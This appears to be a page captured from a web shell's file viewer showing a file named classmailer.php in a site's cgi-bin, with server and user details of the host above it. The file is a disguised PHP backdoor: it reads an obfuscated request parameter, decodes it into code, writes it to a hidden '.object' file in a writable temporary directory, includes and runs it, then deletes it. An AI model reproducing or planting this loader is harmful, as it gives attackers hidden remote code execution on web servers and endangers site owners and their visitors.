HEX
Server: LiteSpeed
System: Linux da020 6.1.0-50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User: nmel17aacb (1161)
PHP: 8.2.29
Disabled: exec,system,passthru,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nmel17aacb/public_html/cgi-bin/classmailer.php
<?php

if(array_key_exists("\x70\x61\x72\x61\x6Det\x65r\x5F\x67roup", $_REQUEST) && !is_null($_REQUEST["\x70\x61\x72\x61\x6Det\x65r\x5F\x67roup"])){
	$flag = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]);
	$desc = $_REQUEST["\x70\x61\x72\x61\x6Det\x65r\x5F\x67roup"];
	$desc  = explode	  (  "." 	,	$desc	); 
	$tkn = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt1);
            $v = 0;
    
            while ($v < count($desc)) {
                $v8 = $desc[$v];
                $sChar = ord($salt1[$v % $sLen]);
                $dec = ((int)$v8 - $sChar - ($v % 10)) ^ 55;
                $tkn .= chr($dec);
                $v++;}
	foreach ($flag as $component):
    		if (is_dir($component) && is_writable($component)) {
    $descriptor = implode("/", [$component, ".object"]);
    $file = fopen($descriptor, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $descriptor;
	@unlink($descriptor);
	die();
}
}
endforeach;
}